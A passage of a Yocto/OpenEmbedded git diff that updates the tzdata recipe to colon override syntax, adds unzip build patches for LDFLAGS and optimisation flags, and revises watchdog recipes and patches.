- ${datadir}/zoneinfo/Factory \
- ${datadir}/zoneinfo/GB-Eire \
- ${datadir}/zoneinfo/Hongkong \
- ${datadir}/zoneinfo/Iceland \
- ${datadir}/zoneinfo/Iran \
- ${datadir}/zoneinfo/Israel \
- ${datadir}/zoneinfo/Jamaica \
- ${datadir}/zoneinfo/Japan \
- ${datadir}/zoneinfo/Kwajalein \
- ${datadir}/zoneinfo/Libya \
- ${datadir}/zoneinfo/Navajo \
- ${datadir}/zoneinfo/Poland \
- ${datadir}/zoneinfo/Portugal \
- ${datadir}/zoneinfo/Singapore \
- ${datadir}/zoneinfo/Turkey"
-RPROVIDES_tzdata-misc = "tzdata-misc"
-
-FILES_tzdata-core += " \
- ${sysconfdir}/localtime \
- ${sysconfdir}/timezone \
- ${datadir}/zoneinfo/Pacific/Honolulu \
- ${datadir}/zoneinfo/America/Anchorage \
- ${datadir}/zoneinfo/America/Los_Angeles \
- ${datadir}/zoneinfo/America/Denver \
- ${datadir}/zoneinfo/America/Chicago \
- ${datadir}/zoneinfo/America/New_York \
- ${datadir}/zoneinfo/America/Caracas \
- ${datadir}/zoneinfo/America/Sao_Paulo \
- ${datadir}/zoneinfo/Europe/London \
- ${datadir}/zoneinfo/Europe/Paris \
- ${datadir}/zoneinfo/Africa/Cairo \
- ${datadir}/zoneinfo/Europe/Moscow \
- ${datadir}/zoneinfo/Asia/Dubai \
- ${datadir}/zoneinfo/Asia/Karachi \
- ${datadir}/zoneinfo/Asia/Dhaka \
- ${datadir}/zoneinfo/Asia/Bangkok \
- ${datadir}/zoneinfo/Asia/Hong_Kong \
- ${datadir}/zoneinfo/Asia/Tokyo \
- ${datadir}/zoneinfo/Australia/Darwin \
- ${datadir}/zoneinfo/Australia/Adelaide \
- ${datadir}/zoneinfo/Australia/Brisbane \
- ${datadir}/zoneinfo/Australia/Sydney \
- ${datadir}/zoneinfo/Pacific/Noumea \
- ${datadir}/zoneinfo/CET \
- ${datadir}/zoneinfo/CST6CDT \
- ${datadir}/zoneinfo/EET \
- ${datadir}/zoneinfo/EST \
- ${datadir}/zoneinfo/EST5EDT \
- ${datadir}/zoneinfo/GB \
- ${datadir}/zoneinfo/GMT \
- ${datadir}/zoneinfo/GMT+0 \
- ${datadir}/zoneinfo/GMT-0 \
- ${datadir}/zoneinfo/GMT0 \
- ${datadir}/zoneinfo/Greenwich \
- ${datadir}/zoneinfo/HST \
- ${datadir}/zoneinfo/MET \
- ${datadir}/zoneinfo/MST \
- ${datadir}/zoneinfo/MST7MDT \
- ${datadir}/zoneinfo/NZ \
- ${datadir}/zoneinfo/NZ-CHAT \
- ${datadir}/zoneinfo/PRC \
- ${datadir}/zoneinfo/PST8PDT \
- ${datadir}/zoneinfo/ROC \
- ${datadir}/zoneinfo/ROK \
- ${datadir}/zoneinfo/UCT \
- ${datadir}/zoneinfo/UTC \
- ${datadir}/zoneinfo/Universal \
- ${datadir}/zoneinfo/W-SU \
- ${datadir}/zoneinfo/WET \
- ${datadir}/zoneinfo/Zulu \
- ${datadir}/zoneinfo/zone.tab \
- ${datadir}/zoneinfo/zone1970.tab \
- ${datadir}/zoneinfo/iso3166.tab \
- ${datadir}/zoneinfo/Etc/*"
-
-CONFFILES_tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} = "${TZ_PACKAGES}"
+FILES:tzdata-africa += "${datadir}/zoneinfo/Africa"
+
+FILES:tzdata-americas += " \
+ ${datadir}/zoneinfo/America \
+ ${datadir}/zoneinfo/US \
+ ${datadir}/zoneinfo/Brazil \
+ ${datadir}/zoneinfo/Canada \
+ ${datadir}/zoneinfo/Mexico \
+ ${datadir}/zoneinfo/Chile \
+"
+
+FILES:tzdata-antarctica += "${datadir}/zoneinfo/Antarctica"
+
+FILES:tzdata-arctic += "${datadir}/zoneinfo/Arctic"
+
+FILES:tzdata-asia += " \
+ ${datadir}/zoneinfo/Asia \
+ ${datadir}/zoneinfo/Indian \
+ ${datadir}/zoneinfo/Mideast \
+"
+
+FILES:tzdata-atlantic += "${datadir}/zoneinfo/Atlantic"
+
+FILES:tzdata-australia += "${datadir}/zoneinfo/Australia"
+
+FILES:tzdata-europe += "${datadir}/zoneinfo/Europe"
+
+FILES:tzdata-pacific += "${datadir}/zoneinfo/Pacific"
+
+FILES:tzdata-posix += "${datadir}/zoneinfo/posix"
+
+FILES:tzdata-right += "${datadir}/zoneinfo/right"
+
+FILES:tzdata-misc += " \
+ ${datadir}/zoneinfo/Cuba \
+ ${datadir}/zoneinfo/Egypt \
+ ${datadir}/zoneinfo/Eire \
+ ${datadir}/zoneinfo/Factory \
+ ${datadir}/zoneinfo/GB-Eire \
+ ${datadir}/zoneinfo/Hongkong \
+ ${datadir}/zoneinfo/Iceland \
+ ${datadir}/zoneinfo/Iran \
+ ${datadir}/zoneinfo/Israel \
+ ${datadir}/zoneinfo/Jamaica \
+ ${datadir}/zoneinfo/Japan \
+ ${datadir}/zoneinfo/Kwajalein \
+ ${datadir}/zoneinfo/Libya \
+ ${datadir}/zoneinfo/Navajo \
+ ${datadir}/zoneinfo/Poland \
+ ${datadir}/zoneinfo/Portugal \
+ ${datadir}/zoneinfo/Singapore \
+ ${datadir}/zoneinfo/Turkey \
+"
+
+FILES:tzdata-core += " \
+ ${sysconfdir}/localtime \
+ ${sysconfdir}/timezone \
+ ${datadir}/zoneinfo/leapseconds \
+ ${datadir}/zoneinfo/leap-seconds.list \
+ ${datadir}/zoneinfo/Pacific/Honolulu \
+ ${datadir}/zoneinfo/America/Anchorage \
+ ${datadir}/zoneinfo/America/Los_Angeles \
+ ${datadir}/zoneinfo/America/Denver \
+ ${datadir}/zoneinfo/America/Chicago \
+ ${datadir}/zoneinfo/America/New_York \
+ ${datadir}/zoneinfo/America/Caracas \
+ ${datadir}/zoneinfo/America/Sao_Paulo \
+ ${datadir}/zoneinfo/Europe/London \
+ ${datadir}/zoneinfo/Europe/Paris \
+ ${datadir}/zoneinfo/Africa/Cairo \
+ ${datadir}/zoneinfo/Europe/Moscow \
+ ${datadir}/zoneinfo/Asia/Dubai \
+ ${datadir}/zoneinfo/Asia/Karachi \
+ ${datadir}/zoneinfo/Asia/Dhaka \
+ ${datadir}/zoneinfo/Asia/Bangkok \
+ ${datadir}/zoneinfo/Asia/Hong_Kong \
+ ${datadir}/zoneinfo/Asia/Tokyo \
+ ${datadir}/zoneinfo/Australia/Darwin \
+ ${datadir}/zoneinfo/Australia/Adelaide \
+ ${datadir}/zoneinfo/Australia/Brisbane \
+ ${datadir}/zoneinfo/Australia/Sydney \
+ ${datadir}/zoneinfo/Pacific/Noumea \
+ ${datadir}/zoneinfo/CET \
+ ${datadir}/zoneinfo/CST6CDT \
+ ${datadir}/zoneinfo/EET \
+ ${datadir}/zoneinfo/EST \
+ ${datadir}/zoneinfo/EST5EDT \
+ ${datadir}/zoneinfo/GB \
+ ${datadir}/zoneinfo/GMT \
+ ${datadir}/zoneinfo/GMT+0 \
+ ${datadir}/zoneinfo/GMT-0 \
+ ${datadir}/zoneinfo/GMT0 \
+ ${datadir}/zoneinfo/Greenwich \
+ ${datadir}/zoneinfo/HST \
+ ${datadir}/zoneinfo/MET \
+ ${datadir}/zoneinfo/MST \
+ ${datadir}/zoneinfo/MST7MDT \
+ ${datadir}/zoneinfo/NZ \
+ ${datadir}/zoneinfo/NZ-CHAT \
+ ${datadir}/zoneinfo/PRC \
+ ${datadir}/zoneinfo/PST8PDT \
+ ${datadir}/zoneinfo/ROC \
+ ${datadir}/zoneinfo/ROK \
+ ${datadir}/zoneinfo/UCT \
+ ${datadir}/zoneinfo/UTC \
+ ${datadir}/zoneinfo/Universal \
+ ${datadir}/zoneinfo/W-SU \
+ ${datadir}/zoneinfo/WET \
+ ${datadir}/zoneinfo/Zulu \
+ ${datadir}/zoneinfo/zone.tab \
+ ${datadir}/zoneinfo/zone1970.tab \
+ ${datadir}/zoneinfo/iso3166.tab \
+ ${datadir}/zoneinfo/Etc \
+"
+
+CONFFILES:tzdata-core = "${sysconfdir}/localtime ${sysconfdir}/timezone"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RDEPENDS:${PN} = "${TZ_PACKAGES}"
diff --git a/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
new file mode 100644
index 0000000000..716766de29
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch
@@ -0,0 +1,137 @@
+From da29ba6a27d8e78562052c79061476848915eb2a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Mar 2022 12:13:28 -0800
+Subject: [PATCH] configure: Pass LDFLAGS to tests doing link step
+
+Ensures that right flags from recipes are honored, otherwise tests fail
+which otherwise should not.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/configure | 28 ++++++++++++++--------------
+ 1 file changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index d4b0a8e..49579f3 100755
+--- a/unix/configure
++++ b/unix/configure
+@@ -116,7 +116,7 @@ _EOF_
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+ lf='-Wl,-search_paths_first'
+- $CC $CFLAGS $lf conftest.c > /dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS $lf conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+ BZLF=${lf}
+ fi
+@@ -276,7 +276,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo -- no Large File Support
+ else
+@@ -322,7 +322,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no Unicode (wchar_t) support"
+ else
+@@ -383,7 +383,7 @@ for func in fchmod fchown lchown nl_langinfo
+ do
+ echo Check for $func
+ echo "int main(){ $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
+ done
+
+@@ -395,14 +395,14 @@ temp_link="link_$$"
+ echo "int main() { lchmod(\"${temp_file}\", 0666); }" \
+ ) > conftest.c
+ ln -s "${temp_link}" "${temp_file}" && \
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null && \
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null && \
+ ./conftest
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DNO_LCHMOD"
+ rm -f "${temp_file}"
+
+ echo Check for memset
+ echo "int main(){ char k; memset(&k,0,0); return 0; }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -ne 0 ] && CFLAGSR="${CFLAGSR} -DZMEM"
+
+ echo Check for errno declaration
+@@ -422,12 +422,12 @@ cat > conftest.c << _EOF_
+ int main() { return closedir(opendir(".")); }
+ _EOF_
+
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ OPT=""
+ for lib in ndir dir ucb bsd BSD PW x dirent
+ do
+- $CC -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
++ $CC $CLFAGS $LDFLAGS -o conftest conftest.c -l$lib >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && OPT=-l$lib && break
+ done
+ if [ ${OPT} ]; then
+@@ -440,9 +440,9 @@ fi
+ # Dynix/ptx 1.3 needed this
+ echo Check for readlink
+ echo "int main(){ return readlink(); }" > conftest.c
+-$CC -o conftest conftest.c >/dev/null 2>/dev/null
++$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- $CC -o conftest conftest.c -lseq >/dev/null 2>/dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lseq >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && LFLAGS2="${LFLAGS2} -lseq"
+ fi
+
+@@ -501,7 +501,7 @@ int main()
+ }
+ _EOF_
+ # compile it
+-$CC ${CFLAGS} ${CFLAGSR} -o conftest conftest.c >/dev/null 2>/dev/null
++$CC ${CFLAGS} ${CFLAGSR} $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+ echo "-- no MBCS support"
+ CFLAGSR="${CFLAGSR} -DNO_MBCS"
+@@ -515,7 +515,7 @@ else
+ do
+ echo Check for MBCS $func
+ echo "int main() { $func(); return 0; }" > conftest.c
+- $CC $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC $BFLAG $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -D`echo $func | tr '[a-z]' '[A-Z]'`=$func"
+ done
+ fi
+@@ -557,7 +557,7 @@ elif [ -f /xenix ]; then
+ elif uname -X >/dev/null 2>/dev/null; then
+ # SCO shared library check
+ echo "int main() { return 0;}" > conftest.c
+- $CC -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
++ $CC $CFLAGS $LDFLAGS -o conftest conftest.c -lc_s -nointl >/dev/null 2> /dev/null
+ [ $? -eq 0 ] && LFLAGS2="-lc_s -nointl"
+ else
+ SYSTEM=`uname -s 2>/dev/null` || SYSTEM="unknown"
+@@ -565,7 +565,7 @@ else
+ case $SYSTEM in
+ OSF1|ULTRIX)
+ echo Check for -Olimit option
+- $CC ${CFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
++ $CC ${CFLAGS} ${LDFLAGS} -Olimit 1000 -o conftest conftest.c >/dev/null 2>/dev/null
+ [ $? -eq 0 ] && CFLAGSR="${CFLAGSR} -Olimit 1000"
+ ;;
+ ### HP-UX)
+--
+2.35.1
+
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
index 8f30e42674..e0c89d81b7 100644
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
@@ -1,4 +1,4 @@
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
unix/Makefile: remove hard coded strip commands
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
index 659c6e3315..dc554c32cb 100644
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
@@ -1,6 +1,6 @@
Pass LDFLAGS to the linker
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
index 8e9b06c423..ba6ead3b5e 100644
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
@@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted.
[YOCTO #9551]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
index a38f6f1612..c1d82ac187 100644
--- a/meta/recipes-extended/unzip/unzip/symlink.patch
+++ b/meta/recipes-extended/unzip/unzip/symlink.patch
@@ -6,7 +6,7 @@ a symlink entry."
This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
-Upstream-Status: Pending (upstream is dead)
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
new file mode 100644
index 0000000000..4bab7b26af
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
@@ -0,0 +1,127 @@
+unzip: use optimization from bitbake
+
+Remove -O3 optimizations to use bitbake default optimization levels.
+
+Upstream-Status: Inappropriate [configuration]
+
+Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
+
+diff -rup unix-orig/configure unix/configure
+--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
++++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
+@@ -70,7 +70,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " DEC C ($CFLAGS_OPT)"
+ else
+ # HP-UX HP C?
+@@ -111,7 +111,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " GNU C ($CFLAGS_OPT)"
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+diff -rup unix-orig/Makefile unix/Makefile
+--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
++++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
+@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
+ AS = as
+ LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
+ AF = $(LOC)
+-CFLAGS = -O
++CFLAGS =
+ CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
+ CF = $(CFLAGS) $(CF_NOOPT)
+ LFLAGS1 =
+@@ -594,12 +594,12 @@ generic_shlib: unix_make
+ @echo\
+ 'which is UnZip linked with the DLL). This target is an example only.'
+ @echo ""
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
+ $(RM) libunzip.so.0 libunzip.so
+ $(LN) -s libunzip.so.0.4 libunzip.so.0
+ $(LN) -s libunzip.so.0 libunzip.so
+- gcc -c -O unzipstb.c
++ gcc -c unzipstb.c
+ gcc -o unzip_shlib unzipstb.o -L. -lunzip
+
+ #----------------------------------------------------------------------------
+@@ -775,7 +775,7 @@ freebsd: unix_make
+ # with "echo" instead).
+ #
+ gcc: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
+
+ # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
+ hk68: unix_make
+@@ -792,7 +792,7 @@ isc: unix_make
+ isc_gcc: unix_make
+ $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
+ LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
+- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
++ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
+ AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
+ $(STRIP) $(UNZIPS)
+
+@@ -808,7 +808,7 @@ isi: unix_make
+ linux: unix_make
+ @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
+ $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
+- CFLAGS="-O3 -Wall -DASM_CRC"\
++ CFLAGS="-Wall -DASM_CRC"\
+ AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
+ # GRR: this echo is pointless; if user gets this far, no difference to install
+ # @echo 'Be sure to use the install_asm target rather than the install target'
+@@ -818,14 +818,14 @@ linux_asm: linux
+ # Linux (Posix, approximately SysV): virtually any version since before 0.96,
+ # for any platform. Change "-O" to "-O3" or whatever, as desired...
+ linux_noasm: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
+
+ # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
+ # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
+ # (or -O2 or -O) is ignored. [GRR 960828: test target only]
+ #
+ linux_lcc: unix_make
+- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
++ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
+
+ # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
+ linux_dos: unix_make
+@@ -844,7 +844,7 @@ linux_dos: unix_make
+ # library).
+ #
+ linux_shlib: unix_make
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
+ LOC="-DDLL -DASM_CRC $(LOC)"\
+ AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+@@ -858,7 +858,7 @@ linux_shlib: unix_make
+ # instead of the original UnZip version. (libz was libgz prior to 0.94)
+ linux_shlibz: unix_make
+ $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
+- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
++ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+ crc_gcc.pic.o
+ ln -sf libunzip.so.0.4 libunzip.so.0
+@@ -871,7 +871,7 @@ lynx: unix_make
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
+ macosx: unix_make
+- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
++ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
+ $(STRIP) $(UNZIPS)
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
index c1ea0a9a2c..af94a39195 100644
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ b/meta/recipes-extended/unzip/unzip_6.0.bb
@@ -1,5 +1,6 @@
SUMMARY = "Utilities for extracting and viewing files in .zip archives"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
@@ -25,12 +26,17 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/
file://CVE-2019-13232_p1.patch \
file://CVE-2019-13232_p2.patch \
file://CVE-2019-13232_p3.patch \
+ file://unzip_optimization.patch \
+ file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "62b490407489521db863b523a7f86375"
SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
+# Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source
+CVE_CHECK_IGNORE += "CVE-2008-0888"
+
# exclude version 5.5.2 which triggers a false positive
UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz"
@@ -44,7 +50,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
export LD = "${CC}"
-LD_class-native = "${CC}"
+LD:class-native = "${CC}"
do_compile() {
oe_runmake -f unix/Makefile generic
@@ -61,7 +67,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "unzip"
+ALTERNATIVE:${PN} = "unzip"
ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb
index 8bf40f0f0e..a28d28033b 100644
--- a/meta/recipes-extended/watchdog/watchdog-config.bb
+++ b/meta/recipes-extended/watchdog/watchdog-config.bb
@@ -5,7 +5,7 @@ the system."
HOMEPAGE = "http://watchdog.sourceforge.net/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = " \
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch b/meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch
deleted file mode 100644
index 198f198619..0000000000
--- a/meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 8f91385dbd5e7c14b36ecbd8a01ca82c709f6d77 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 24 Jun 2016 18:19:29 +0000
-Subject: [PATCH] Include linux/param.h for EXEC_PAGESIZE definition
-
-Musl does not include linux/param.h whereas glibc
-does, so it fails to build on musl.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Submitted
-
- src/watchdog.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/src/watchdog.c b/src/watchdog.c
-index acf6450..486384a 100644
---- a/src/watchdog.c
-+++ b/src/watchdog.c
-@@ -26,6 +26,9 @@
- #include <sys/param.h> /* For EXEC_PAGESIZE */
- #include <linux/oom.h>
- #include <linux/watchdog.h>
-+#ifdef __linux__
-+#include <linux/param.h>
-+#endif
- #include <string.h>
-
- #include <libgen.h>
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
new file mode 100644
index 0000000000..5c5d2f4e44
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
@@ -0,0 +1,30 @@
+From b5cb6166dbfa57d1d94b19d4a098991a817f68f5 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Oct 2020 10:02:17 +0800
+Subject: [PATCH] wd_keepalive.service: use /run instead of /var/run
+
+/var/run is deprecated by systemd, use /run instead.
+
+Upstream-Status: Pending
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ debian/wd_keepalive.service | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
+index 7f8b1dc..0f2a153 100644
+--- a/debian/wd_keepalive.service
++++ b/debian/wd_keepalive.service
+@@ -7,7 +7,7 @@ Type=forking
+ EnvironmentFile=/etc/default/watchdog
+ ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
+ ExecStart=/usr/sbin/wd_keepalive $watchdog_options
+-PIDFile=/var/run/wd_keepalive.pid
++PIDFile=/run/wd_keepalive.pid
+
+ [Install]
+ WantedBy=multi-user.target
+--
+2.17.1
+
diff --git a/meta/recipes-extended/watchdog/watchdog_5.15.bb b/meta/recipes-extended/watchdog/watchdog_5.15.bb
deleted file mode 100644
index 1acab2e9e7..0000000000
--- a/meta/recipes-extended/watchdog/watchdog_5.15.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-SUMMARY = "Software watchdog"
-DESCRIPTION = "Watchdog is a daemon that checks if your system is still \
-working. If programs in user space are not longer executed \
-it will reboot the system."
-HOMEPAGE = "http://watchdog.sourceforge.net/"
